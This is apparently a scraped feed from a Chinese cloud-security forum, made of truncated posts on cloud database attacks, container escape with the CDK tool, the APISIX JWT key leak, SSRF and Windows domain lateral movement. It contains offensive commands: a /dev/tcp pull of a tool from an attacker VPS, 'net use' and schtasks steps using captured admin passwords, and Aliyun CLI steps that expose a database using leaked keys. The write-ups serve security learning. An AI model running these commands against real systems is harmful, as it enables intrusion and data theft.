当前节点:huoxian
时间节点
2022年4月28日 12:31火线zone
浅谈云上攻防——Etcd风险剖析
https://mp.weixin.qq.com/s/WJ14yyrLptQnRovFoGYv8A
Amazon Redshift - 复制风险
https://zone.huoxian.cn/d/1136-amazon-redshift
微软云 云数据库攻防
https://zone.huoxian.cn/d/1134
CrowdStrike 详细说明 LemonDuck Cryptojacking 容器攻击活动
https://containerjournal.com/features/crowdstrike-details-lemonduck-cryptojacking-container-attack-campaign/
CrowdStrike 将容器支持添加到云安全平台
https://containerjournal.com/features/crowdstrike-adds-container-support-to-cloud-security-platform/
在 Kubernetes 中提升权限的 10 种方法
https://blog.lightspin.io/kubernetes-pod-privilege-escalation
2022年4月28日 11:31火线zone
Amazon Redshift是云端完全管理的PB级数据仓库服务,专门为在线分析处理(OLAP)和商业智能(BI)应用程序设计,这些应用程序需要对大型数据集进行复杂的查询。Redshift是一个强大的服务,与许多数据源集成,其中一些可能包括敏感信息。因此,了解服务之间的联系和潜在的攻击面很重要。
在这篇文章中,我们将研究攻击者可能使用Redshift COPY命令访问你的敏感数据的几种方式。
Redshift管理着数据仓库的创建、运行和扩展过程。它提供了与存储在S3或DynamoDB,以及使用Redshift Spectrum的Athena和Glue的数据互动的选项。该服务是基于PostgreSQL的,但一些命令的实现方式不同。
为什么Redshift需要角色?
如上所述,Redshift可以与许多AWS服务集成。为了做到这一点,它使用与集群相关的角色。最经典的例子是从S3桶中加载数据。Redshift使用 "COPY "命令。COPY命令利用亚马逊Redshift的大规模并行处理(MPP)架构,从数据文件中并行地读取和加载数据。这些文件可以位于亚马逊简单存储服务(Amazon S3)桶、亚马逊EMR集群或使用安全壳(SSH)连接访问的远程主机中。
Redshift允许集群内最多有50个IAM角色(在这里提到的几个AWS地区最多有10个)。这个选项允许使用任何一个角色来执行多个数据处理,但是如果一个错误的策略被附加到其中一个角色,可能会导致过度的数据访问。
在下面两个例子中,我们将研究攻击者如何访问存储在S3和DynamoDB的数据。我们将使用一个简单的.csv文件,包括客户记录(ID、姓名、城市、国家和职业)。我们在集群内关联了两个角色。
角色1:包含一个与S3相关的内联策略
角色2:包含一个与DynamoDB相关的内联策略
使用Redshift来读取S3内容
Redshift实现了从S3加载数据并使用SQL进行分析的能力。使用COPY命令加载数据的一般模板看起来像这样:
模板如下所示:
copy <table-name> from 's3://<your-bucket-name>/<folder>/<key_prefix>' credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>' options;
为了成功地使用COP
2022年4月28日 10:01火线zone
首先,有没有师傅研究沙箱环境流量及溯源流量的,最近想写一个工具,从头在看go
直连使用这种冒用证书是做不到上线的,但是结合云函数就可以实现上线的作用,在测绘数据看来证书信息也是冒用证书的信息。
客户端连接云函数服务器使用的是云函数的证书信息,云函数转发数据到c2主机不会校验目标证书真实性。
kun'yu集成这个可以在溯源的时候针对性的扫描,因为目标cobaltstrike的端口可能并不是一直开着的
所以公网测绘在扫描的时候就可能漏掉一些已关停的。
市面上的测绘平台 也没那么大的资源去大规模扫描,所以作为一个单独的客户端扫描可能更合适。
2022年4月27日 11:01火线zone
0x01 前期侦查
1、访问凭证泄露
在信息收集阶段,通过传统攻防下的信息收集方式,收集到目标的数据库账户密码、微软云平台账户密码,Access token、服务帐号密钥等
2、备份文件
通过https://techcommunity.microsoft.com/t5/azure-database-for-mysql-blog/backup-azure-database-for-mysql-to-a-blob-storage/ba-p/803830处的方法可以将数据库备份,要注意https://cs110032001db2235e9.file.core.windows.net/cs-这样路径下的文件,有可能就是通过上述方法备份的数据库文件。
0x02 初始访问
1、访问凭证登录
如果在前期侦查阶段收集到了数据库的账户和密码,则可以通过其直接登录。或者在前期收集到了高权限的服务账户凭证,可以通过之前VM攻防中的方法去登录微软云控制台,就可以去操作Azure database for Mysql或者Azure database for PostgreSQL了。
2、弱口令
如果微软云数据库存在弱口令,我们可以通过爆破的方式,得到数据库的账户名和密码,进而直接访问数据库。
管理员的密码要求为强口令,所以弱口令基本为创建的普通用户。
0x03 执行
1、云厂商命令行工具
创建 Azure Database for MySQL 服务器
az mysql server create --resource-group myresourcegroup --name mydemoserver --location westus --admin-user myadmin --admin-password <server_admin_password> --sku-name GP_Gen5_2
获取连接信息
az mysql server show --resource-group myresourcegroup --name mydemoserver
2、数据库连接工具
当知道了数据库的账户和密码后,可以使用第三方数据库连接工具进行连接尝试。(谷歌云需要配置已授权网络才可以进行访问登录)
0x04 权限提升
1、低权限收集到高权限的凭证
当获取了数据库较低的权限后,访问数据库查找敏感信息,如用户存储的高权限账户密码、高权限凭证等信息
2022年4月27日 11:01火线zone
检测针对 Azure DevOps 的攻击
https://labs.f-secure.com/blog/detecting-attacks-against-azure-devops/
使用 KubeEye 为你的 K8s 集群安全保驾护航
https://mp.weixin.qq.com/s/XJ16DriUX0wyJlGxfOn34A
Apache Apisix jwt插件 (CVE-2022-29266) 密钥泄漏
https://zone.huoxian.cn/d/1130-apache-apisix-jwt-cve-2022-29266
awesome cloud security
https://github.com/teamssix/awesome-cloud-security
DevOps 的云原生安全
https://medium.com/@keitaroinc/cloud-native-security-for-devops-b0137720fe79
CIS 基准检测工具 kube bench
https://github.com/aquasecurity/kube-bench
遇到RDS如何利用?阿里云RDS攻防
https://zone.huoxian.cn/d/1129-rdsrds
2022年4月26日 19:01火线zone
前言Docker模块简介漏洞利用 cdk关于该漏洞的exp 漏洞复现 环境安装 漏洞复现
前言
docker runc容器逃逸漏洞(CVE-2019-5736)发生在runc模块(也叫容器运行时)。
Docker、containerd或者其他基于runc的容器运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作,来获取到宿主机的runc执行时的文件句柄,并修改掉runc的二进制文件,从而可以在宿主机上以root身份执行命令。
Docker模块简介
先看几张
docker模块分层图:
从 Docker 1.11 之后,Docker Daemon 被分成了多个模块。
containerd 主要职责是镜像管理(镜像、元信息等)、容器执行(调用最终运行时组件执行)。
containerd 向上为 Docker Daemon 提供了 gRPC 接口,使得 Docker Daemon 屏蔽下面的结构变化,确保原有接口向下兼容。
containerd 向下通过 containerd-shim 结合 runC,使得引擎可以独立升级,避免之前 Docker Daemon 升级会导致所有容器不可用的问题。
runC 是从 Docker 的 libcontainer 中迁移而来的,实现了容器启停、资源隔离等功能。也叫容器运行时。
漏洞利用
cdk关于该漏洞的exp
cdk支持该漏洞进行容器逃逸,调用名为runc-pwn。
但由于该漏洞需要重写runc二进制文件,故漏洞利用完会造成目标docker无法使用。漏洞复现时可以打快照或者备份docker-runc文件。
漏洞复现
以下复现内容转载自:
docker逃逸漏洞复现(CVE-2019-5736) - FreeBuf网络安全行业门户
https://www.freebuf.com/articles/web/258398.html
环境安装
第一步:卸载已将安装的docker
$ sudo apt-get remove docker docker-engine docker-ce docker.io
第二步:安装前准备
1、更新索引包
$ sudo apt-get update
2、安装以下包,以使apt可以通过https使用repository
$ sudo apt-get install -y apt-transport-https ca-certificates cur
2022年4月26日 12:31火线zone
Kubernetes Version 1.24 有哪些新功能?
https://blog.aquasec.com/kubernetes-1.24
Windows 容器在 Rancher 上的发展
https://mp.weixin.qq.com/s/Sn8LOYqu9UDWRsa93SMKbQ
Amazon Redshift 复制风险
https://blog.lightspin.io/aws-redshift-security-risk
hcltm:基于HCL语言实现威胁模型构建
https://www.freebuf.com/articles/security-management/329301.html
挖矿病毒“盯上”了 Docker 服务器
https://www.freebuf.com/news/330794.html
谷歌向 CNCF 捐赠 Istio 服务网格
https://containerjournal.com/features/google-petitions-to-donate-istio-service-mesh-to-cncf/
2022年4月25日 19:31火线zone
CVE-2022-29266 Apache Apisix jwt插件 密钥泄漏
漏洞描述
在2.13.1版本之前的APache APISIX中,攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌来通过错误消息响应获取插件配置的机密。依赖库 lua-resty-jwt 中的错误逻辑允许将 RS256 令牌发送到需要 HS256 令牌的端点,错误响应中包含原始密钥值。
漏洞版本
Apache Apisix < 2.13.1
环境搭建
如何构建 Apache APISIX
Docker 搭建
插件开启
命令行方式开启插件 jwt-auth
在这里给大家演示的是Dashboard页面开启jwt插件。
1、当我们环境搭建完毕后、通过访问http://127.0.0.1:9000 登陆页 默认账号密码 admin admin
jwt-auth 是一个认证插件,它需要与 consumer 一起配合才能工作。
添加 JWT Authentication 到一个 service 或 route。 然后 consumer 将其密钥添加到查询字符串参数、请求头或 cookie 中以验证其请求。
2、我们先创建一个consumer 名称的话 随便写。
3、点击下一步、启用jwt-auth插件。
将{ "key": "Vul_test", "secret": "admin_admin" } 填写到编辑器里,值的话可以随便写。
算法的默认配置是HS256 。
4、接下来让我们创建路由。
5、在设置路由这项里、名称需要添加、路径需要添加。路径的话、因为后面需要用、可以写个简单易记的。接着点击下一步。


6、在设置上游服务里,只需要修改目标节点就行(有配置上游服务的不用写)。然后点击下一步
7、在插件配置里,只需启用jwt-auth ,不需要配置。然后点击提交下一步。


8、最后将全部配置进行提交,点开路由,有我们新增路由表示创建成功。
9、为了保险起见我们通过命令行测试一下。
当我们启用了jwt-auth插件后,会增加 /apisix/plugin/jwt/sign 这个接口。
在命令行输入以下命令,参数key的值就是我们刚刚在consumer 配置的key值,访问了这个api,我们可以获取到认证token。
curl http://127.0.0.1:9080/apisix/plugin/jwt/s
2022年4月25日 17:31火线zone
一、RDS存在的风险
1、弱口令
其实在设置密码的时候可以发现,设置的密码是强制大写加小写字母与数字的,如果这样组合,其实不一定存在弱口令,但是试了一下Qwe123123这种密码,发现居然可以,那么就可以确定,至少存在键盘弱口令的
虽然实战中遇到的几率很小,但是至少也是一个问题
2、源码泄露
这个在实战中碰到的次数比较多,不过大部分都有一些局限的情况
1、服务部署在VPC内网,没有申请公网访问地址,所以无法通过公网连接,只能在VPC中通过内网地址连接
2、白名单的问题,如果想公网通过地址连接需要满足两个条件
1、申请了公网地址,并且泄露
2、白名单设置为0.0.0.0/0
不过在一次红蓝中,通过公网的GIT泄露发现了泄露的源码,也就是上图,RDS和内网IP的数据库都无法连接,不过在打进云上内网后,通过frp,使用这些地址是可以连接的
3、密钥泄露如何进行利用
3.1、获取所有DB实例
aliyun rds DescribeDBInstances
此时会列出所有的RDS信息,可以看到所在的地区,连接的地址,版本,服务类型,我们注意到有一个DBInstanceID,然后我们可以使用以下命令获取指定实例ID下更详细的信息
aliyun rds DescribeDBInstanceAttribute --DBInstanceId xxxx
这里可以看到实例的安全组等
3.2、申请公网访问地址
查看是否存在公网访问地址
aliyun rds DescribeDBInstanceNetInfo --DBInstanceId xxx
在这里我们可以看到RDS的访问地址,如果不存在公网访问地址的话,我们可以申请一个
下图就是没有公网地址的返回结果
那么我们尝试申请一个
申请公网访问地址
aliyun rds AllocateInstancePublicConnection --DBInstanceId xxxx --Port 1433 --ConnectionStringPrefix uzjuse
可以看到我们申请了一个公网地址,尝试访问试试
此时我们还无法访问,所以要添加白名单
3.3、添加白名单
查询指定RDS白名单
aliyun rds DescribeDBInstanceIPArrayList --DBInstanceId xxx
在添加白名单之前,我们首先要先查看一下白名单,在下图中可以看到,白名单显示,只允许127.
2022年4月25日 16:01火线zone
前言
最近有一个培训,需要整理一些ppt,关于PHP反序列化的PPT,正好需要尽可能详细的介绍一下漏洞触发原理,本地搭个环境给大家介绍一下,所以简单介绍一下
有关的魔术方法
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值,当对象创建(new)时会自动调用。 __destruct: 和构造函数相反,当对象所在函数调用完毕后执行,当对象被销毁时会自动调用,对象消亡时,自动被调用,用来释放对象占用的空间。 __wakeup:反序列化恢复对象之前调用该方法,unserialize()时会自动调用 __sleep():序列化对象之前就调用此方法(其返回需要一个数组) __call():当调用对象中不存在的方法会自动调用该方法 __callStatic():在静态上下文中调用不可访问的方法时触发 __get():用于从不可访问的属性读取数据,在不可访问的属性上调用isset()或empty(),在不可访问的属性上使用unset()时触发 __set():用于将数据写入不可访问的属性 __isset():在不可访问的属性上调用isset()或empty()触发 __unset():在不可访问的属性上使用unset()时触发 __toString():把类当作字符串使用时触发 __invoke():当脚本尝试将对象调用为函数时触发
序列化和反序列化
原理
php中有两个函数serialize序列化以及unserialize反序列化两个函数,序列化函数用于序列化对象或数组,并返回一个字符串,逆向的过程叫做反序列化。
来一个简单的列子:
class User{ var $a='ceshi'; var $c='ceshi2'; } $b=new User; $b_1=serialize($b); print_r($b_1); ?>
输出结果为
O:4:"User":2:{s:1:"a";s:5:"ceshi";s:1:"c";s:6:"ceshi2";}
这里的O代表存储的是对象(object),serialize()传入的是一个数组,那它会变成字母a。4表示对象的名称有4个字符。"User"表示对象的名称。2表示有一个值。{s:1:"a";s:5:"ceshi";s:1:"c";s:6:"ceshi2";}中,s表示字符串,a表示变量名,5表示该字符串的长度,"ceshi"为字符串的名称,s表示字符串,1变
2022年4月25日 15:01火线zone
01#原创文章激励计划
根据【火线Zone社区运营规则 v0.2】相关要求规定,为鼓励所有社区用户进行原创文章的分享,实行#原创文章激励#计划。
要求:具备原创性,内容具备深度和可读性,点赞数>10
点赞 >10 的原创文章,均可参与周度计划评选,按照文章Rank值来计算排名,前5名获得对应奖励。
Rank = 评论数 X 3 + 点赞数 X 2 + 阅读量 X 1
第一名:500元现金+500查克拉
第二名:400元现金+400查克拉
第三名:300元现金+300查克拉
第四名:200元现金+200查克拉
第五名:100元现金+100查克拉
五名之后:100查克拉
上周符合激励计划的文章有:
第一名:500元现金+500查克拉
标题:缓冲区溢出使用说明书
链接:https://zone.huoxian.cn/d/1100
作者:0x6270
第二名:400元现金+400查克拉
标题:业务安全漏洞-登录认证实战总结(二)
链接:https://zone.huoxian.cn/d/1099
作者:萨满
第三名:300元现金+300查克拉
标题:记一次某单位的内网渗透测试
链接:https://zone.huoxian.cn/d/1101
作者:小黑
第四名:200元现金+200查克拉
标题:域横向移动的几种方式和条件
链接:https://zone.huoxian.cn/d/1116
作者:Betta
第五名:100元现金+100查克拉
标题:域渗透攻防-搜集篇(二)
链接:https://zone.huoxian.cn/d/1115
作者:Betta
第六名:100查克拉
标题:华为云 云数据库RDS攻防
链接:https://zone.huoxian.cn/d/1111
作者:想了半天就想了这么个名字
第七名:100查克拉
标题:AWS 云数据库攻防
链接:https://zone.huoxian.cn/d/1105
作者:TeamsSix
所有奖励每周一进行结算(即本周奖励结算上周的原创文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#,无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年4月25日 14:31火线zone
前言
最近有一个培训,需要整理一些ppt,关于PHP反序列化的PPT,正好需要尽可能详细的介绍一下漏洞触发原理,本地搭个环境给大家介绍一下,所以简单介绍一下
有关的魔术方法
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值,当对象创建(new)时会自动调用。 __destruct: 和构造函数相反,当对象所在函数调用完毕后执行,当对象被销毁时会自动调用,对象消亡时,自动被调用,用来释放对象占用的空间。 __wakeup:反序列化恢复对象之前调用该方法,unserialize()时会自动调用 __sleep():序列化对象之前就调用此方法(其返回需要一个数组) __call():当调用对象中不存在的方法会自动调用该方法 __callStatic():在静态上下文中调用不可访问的方法时触发 __get():用于从不可访问的属性读取数据,在不可访问的属性上调用isset()或empty(),在不可访问的属性上使用unset()时触发 __set():用于将数据写入不可访问的属性 __isset():在不可访问的属性上调用isset()或empty()触发 __unset():在不可访问的属性上使用unset()时触发 __toString():把类当作字符串使用时触发 __invoke():当脚本尝试将对象调用为函数时触发
序列化和反序列化
原理
php中有两个函数serialize序列化以及unserialize反序列化两个函数,序列化函数用于序列化对象或数组,并返回一个字符串,逆向的过程叫做反序列化。
来一个简单的列子:
class User{ var $a='ceshi'; var $c='ceshi2'; } $b=new User; $b_1=serialize($b); print_r($b_1); ?>
输出结果为
O:4:"User":2:{s:1:"a";s:5:"ceshi";s:1:"c";s:6:"ceshi2";}
这里的O代表存储的是对象(object),serialize()传入的是一个数组,那它会变成字母a。4表示对象的名称有4个字符。"User"表示对象的名称。2表示有一个值。{s:1:"a";s:5:"ceshi";s:1:"c";s:6:"ceshi2";}中,s表示字符串,a表示变量名,5表示该字符串的长度,"ceshi"为字符串的名称,s表示字符串,1变
2022年4月24日 13:31火线zone
如何在云原生中监控JVM指标
https://mp.weixin.qq.com/s/ik5cZ9I_E5QVExRaSvgmLA
亚马逊的 Log4j 热补丁易受提权漏洞影响
https://mp.weixin.qq.com/s/nE9kRPXEiEGNhUsjs3NKIQ
Kubernetes 网络模型基础指南
https://mp.weixin.qq.com/s/7yJE7W0nuxnT4XPst1Q5FA
问脉 Runner - 容器安全领域的诸葛连弩
https://mp.weixin.qq.com/s/B-XQJwTKhkR6itIwplgGBQ
敏感数据管理的最佳实践
https://www.datadoghq.com/blog/sensitive-data-management-best-practices/
玩转小程序压测
https://mp.weixin.qq.com/s/qntuicW5IiWIhp1wlT9JrA
微服务安全简介
https://mp.weixin.qq.com/s/0qLBdHgEdn5SujoYmRfAZg
云端数据外泄
https://medium.com/@shehackske/data-exfiltration-on-cloud-b844774ae10
2022年4月22日 15:31火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】>点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,同时可获得相应数量的查克拉,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
查克拉是什么
查克拉是火线安全平台推出的查克拉系统,查克拉为火线安全社区可流通可消费的虚拟货币系统,成员可使用它进行:
社区消费:可根据需要使用查克拉兑
2022年4月22日 14:01火线zone
云原生钻石课程|第8课:Kubernetes运维管理详解(上)
https://mp.weixin.qq.com/s/Pg8mcbSq_vr5ujnyywu70g
实现容器安全管理的最佳实践
https://www.aqniu.com/industry/82796.html
基于eBPF技术的开源项目Kindling之探针架构介绍
https://mp.weixin.qq.com/s/ND56KTm10WOswUipQsAZ3w
使用 Go 从零开发并发布一个 Kubectl 插件
https://mp.weixin.qq.com/s/Uuc93coxXZCQzCbq2jk9tw
云原生架构下的微服务选型和演进
https://mp.weixin.qq.com/s/da8IYtAXwqg3zYHpFH6jJw
kubernetes pod的未决问题
https://sysdig.com/blog/kubernetes-pod-pending-problems/
使用 CIS Google Cloud Platform Foundation Benchmark 缓解 GCP 的 10 大安全威胁
https://research.nccgroup.com/2022/04/20/mitigating-the-top-10-security-threats-to-gcp-using-the-cis-google-cloud-platform-foundation-benchmark%ef%bf%bc/
Learning Docker with Docker
https://iximiuz.com/en/posts/containers-learning-docker-with-docker/
2022年4月22日 11:01火线zone
前言
CDK(Container DucK)是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
项目地址:https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
CDK功能介绍
CDK包括三个功能模块:
Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
将CDK投递到目标容器中的技巧
容器环境往往比较简单,很多情况下没有wget、curl、nc等命令。我们可以使用以下方法将CDK投递到目标容器。
# 远程vps nc -lvp 999 < cdk # 目标容器 cat < /dev/tcp/(你的IP)/(端口) > cdk chmod a+x cdk
快速使用
# 在容器内部进行信息搜集,寻找可用的逃逸点 cdk evaluate # --full参数,包含本地文件扫描功能 cdk evaluate --full
evaluate 容器信息搜集
1. 本地信息 - OS基本信息
直接获取容器内的用户、内核、OS信息。
运行使用时第一步获取的就是OS的基本信息:
cdk evaluate
结果显示如下:
2. 本地信息 - 可用的Linux命令和Capabilities(探测特权容器)
检测容器内可用的linux命令以及linux capabilities,其中常用的linux命令如apt/yum, curl, wget, nc, python等会方便后续渗透流程,此外capabilities可以用于判断容器是否为特权容器,某些敏感的capabilities如CAP_SYSADMIN, CAP_NETADMIN, CAP_PTRACE等也可用来进行容器逃逸。
cdk evaluate
如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
3. 本地信息 - 容器挂载情况
检查挂载到当前容器内的目录和文件,一些挂载到容器内部的敏感目录如/etc,/root等可以提供逃逸机会,如将恶意代码写入/etc/crontab或/root/.ssh/auth
2022年4月21日 14:31火线zone
从Falco看如何利用eBPF检测系统调用
https://mp.weixin.qq.com/s/fka1vR3KDn5pt89p9E4D4g
Effective HPA:预测未来的弹性伸缩产品
https://mp.weixin.qq.com/s/3qFwWIA2kBTpVz0utwc7mQ
EventBridge 集成云服务实践
https://mp.weixin.qq.com/s/TEV0cFX8h-a407in-jqQmg
在 KubeSphere 中监控集群外部 Etcd
https://mp.weixin.qq.com/s/q64l0Kkc4fujn3QRNVqrPQ
如何在云原生混部场景下利用资源配额高效分配集群资源
https://mp.weixin.qq.com/s/HgP0O6hYvddzUIiCoCtDVQ
滥用 Azure 容器注册表任务
https://posts.specterops.io/abusing-azure-container-registry-tasks-1f407bfaa465
AWS 的 Log4Shell 热补丁易受容器逃逸和权限提升的影响
https://unit42.paloaltonetworks.com/aws-log4shell-hot-patch-vulnerabilities/
Golang K8s Proj1
https://chengdol.github.io/2022/04/18/golang-k8s-proj1/
2022年4月21日 11:01火线zone
0x01 前期侦查
1、访问凭证泄露
在信息收集阶段,通过传统攻防下的信息收集方式,收集到目标的数据库账户密码、谷歌云平台账户密码,access token、服务账户凭证等
2、备份
谷歌云具有数据库实例导出功能,可以将整个实例或实例中的数据库导出到Cloud Storage中,其格式可以是csv或者sql。
当该存储桶公开访问或泄露了服务账户凭证即可造成数据库泄露
0x02 初始访问
1、访问凭证登录
如果在前期侦查阶段收集到了数据库的账户和密码,则可以通过其直接登录。或者在前期收集到了高权限的服务账户凭证,可以通过之前Compute Engine攻防中的方法去登录谷歌云控制台,就可以去操作Cloud SQL了。
2、弱口令
如果谷歌云数据库存在弱口令,我们可以通过爆破的方式,得到数据库的账户名和密码,进而直接访问数据库。
3、空密码
在Cloud SQL中,创建mysql数据库的时候,可以赋予数据库无root密码,如果没有 root 密码,此实例会允许任何人以完整管理权限进行连接。请设置 root 密码,以确保只有授权用户才能取得此类权限。
0x03 执行
1、云厂商命令行工具
使用gcloud来查看实例信息
gcloud sql instances describe 实例名
列出实例上的所有数据库
gcloud sql databases list --instance=实例名
2、数据库连接工具
当知道了数据库的账户和密码后,可以使用第三方数据库连接工具进行连接尝试。(谷歌云需要配置已授权网络才可以进行访问登录)
3、Cloud SQL代理
Cloud SQL Auth 代理可让您安全地访问自己的实例,而无需已获授权的网络或配置 SSL。
如需使用 Cloud SQL Auth 代理,必须满足以下要求:
必须启用 Cloud SQL Admin API。
必须向 Cloud SQL Auth 代理提供 Google Cloud 身份验证凭据。
必须向 Cloud SQL Auth 代理提供有效的数据库用户帐号和密码。
实例必须具有公共 IPv4 地址,或者配置为使用专用 IP。
该公共 IP 地址无需可供任何外部地址访问(无需添加为已获授权的网络地址)。
0x04 权限提升
1、低权限收集到高权限的凭证
当获取了数据库较低的权限后,访问数据库查找敏感信息,如用户存储的高权限账户密码、高权限凭证等信息,然后
2022年4月20日 21:31火线zone
红客搜索 😀 一个网安垂直领域不追踪无溯源的网安匿名搜索引擎 一个纯粹的网络安全领域的搜索引擎
访问地址:https://www.hong.ke/ 您也可以直接通过浏览器输入hong.ke进行访问
搜索目前已收录数百网络安全领域公众号、freebuf、安全客、secin等网站内容,后续会继续增加内容源
红客提供全文搜索,多字段精确匹配,分类标签聚合、收录内容及时,搜索算法持续迭代优化中,上图!
2022年4月20日 18:01火线zone
前言
域横向移动的内容简单总结一下,还没结束,,,还有其它手段和手法,以及还有其它工具
远程桌面
3389开启条件下,远程桌面连接
需要知道用户名以及密码
如果未开启远程桌面,需要开启远程桌面,命令可开启,但是可能防火墙会拦截
利用IPC
无法远程桌面
利用条件目标开启端口445 135
已经抓取到用户名以及密码
net use \\192.168.1.10\IPC$ "AD@123456" /user:administrator 建立ipc管道
dir \\192.168.1.10\c$
映射磁盘
net use e: \\192.168.1.10\c$ //映射磁盘
目标主机磁盘成功映射
net use e: /del //删除磁盘映射
计划任务
net time \\192.168.1.10
cs生成木马,做免杀后上线。这里以calc复现,制作可执行文件calc.bat,内容calc.exe
copy calc.bat \\192.168.1.10\c$ //复制文件到域控主机 dir \\192.168.1.10\c$ //列出文件
设置计划任务
at \\192.168.1.10 17:30 C:calc.bat
windows server 2012的计划任务已经不支持at命令,使用schtasks.exe
schtasks.exe /create /tn /test /s 192.168.1.10 /tr c:clac.bat /sc minite /st 17:50 /mo 1
解释一波
/sc 计划类型:minute, hourly, daily, weekly, monthly, once, onstart, onlogon, onidle, onevent /mo 计划频率 用数字表示 /tn taskname 指定计划任务的名称 /tr taskrun 指定计划任务运行的程序路径和文件名,比如c:\windows\system32\calc.exe /st starttime 指定任务的开始时间 /et endtime 指定任务的结束时间 /sd startdate 指定任务的开始日期,格式是 yyyy/mm/dd,比如2021/03/14,默认值为当前日期 /ed enddate 指定任务的结束日期,格式是 yyyy/mm/dd
这里设置计划名称test ,远程地址192.168.1.1
2022年4月20日 18:01火线zone
接上一文,攻防env搭建的时候顺手整理一下一些命令以及条件使用,发现了一些之前没有注意的内容,尽量内容系统化
域控DC端
systeminfo
net user /domain
dsquery /?
查询域内主机
dsquery computer
net group "domain computers"
net accounts //密码策略信息
netdom query /?
wmic useraccount get /all //获取域内用户详细信息,但是无密码
net localgroup administrator //查询本地管理组用户
net group "domain admins" /domain //查询默认管理员组内用户
子域服务器
nltest /domain_trusts //获取域信任信息
nltest /DCLIST:betta //获取域控主机的主机名
nslookup -type=srv _ldap._tcp //获取域控主机名
2022年4月20日 15:31火线zone
eBPF入门与实践指南(万字长文)
https://mp.weixin.qq.com/s/7PzowwNYSwmSNe-3NxX2gw
OPLG:新一代云原生可观测最佳实践
https://mp.weixin.qq.com/s/Bf6nmOymcG9bk91VxLL_Kw
使用 Elastic GPU 管理 Kubernetes GPU 资源
https://mp.weixin.qq.com/s/MBOTPiAtPqIJcpJUwAeG7g
使用 KubeEye 为你的 K8s 集群安全保驾护航
https://mp.weixin.qq.com/s/XJ16DriUX0wyJlGxfOn34A
OpenShift 虚拟化中 Galera 集群的高可用性
https://cloud.redhat.com/blog/high-availability-with-galera-cluster-in-openshift-virtualization
DevOps 测试基础实践指南
https://www.infoq.cn/article/PmoMHvWuIyjHi0fZ9T7o?utm_source=rss&utm_medium=article
如何评估云服务提供商的安全性
https://securityboulevard.com/2022/04/how-to-evaluate-cloud-service-provider-security-checklist/
《腾讯云原生路线图手册》&《腾讯云原生最佳实践》
https://share.weiyun.com/8ayiuDTw
2022年4月19日 22:01火线zone
发生了什么问题(使用场景)
Error: cos put bucket policy error: NoSuchBucket: The specified bucket does not exist.
从下图中我们可以看到,按照正常的程序逻辑,理想的情况下是首先create_bucket来创建一个存储桶,然后再写入他的策略,但是我们如果这样写就会出现,创建策略的时候提示NoSuckBucket

如下图
在使用terraform apply的时候可以看到运行的步骤

然后就会报错

这里的主要问题是资源的依赖关系的问题,在Github中也可以找到这个issue

如何解决这个问题
我们只需要在上传策略的时候,加上依赖depends_on即可
depends_on = []
随后就可以写入成功
2022年4月19日 19:31火线zone
SSRF漏洞学习
初识SSRF
定义:
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击目标是从外网无法访问的内部系统(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统).
理解:
目标服务器可能是从内网中通过映射端口传出内容,但是服务器的代码或者设计有缺陷,导致用户输入可以以服务器的身份来探测到服务器开启的服务或者端口和探测服务器所处内网中的网段还有内容中存活的机器,然后构建一条从外网进入内网的通道.(可以用vps,oob,dnslog等服务验证SSRF漏洞)
因为一般情况下处于外网的机器是无法请求到内网的,而处于内网服务器的本身是可以的.所以达到这种效果的漏洞被称之为SSRF(服务器端伪造请求)
漏洞的产生过程:
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
当服务端向内网或第三方服务请求资源的时候,URL部分或全部可控
理解:
1.举例一个站点的功能是从一个页面跳转到另一个页面
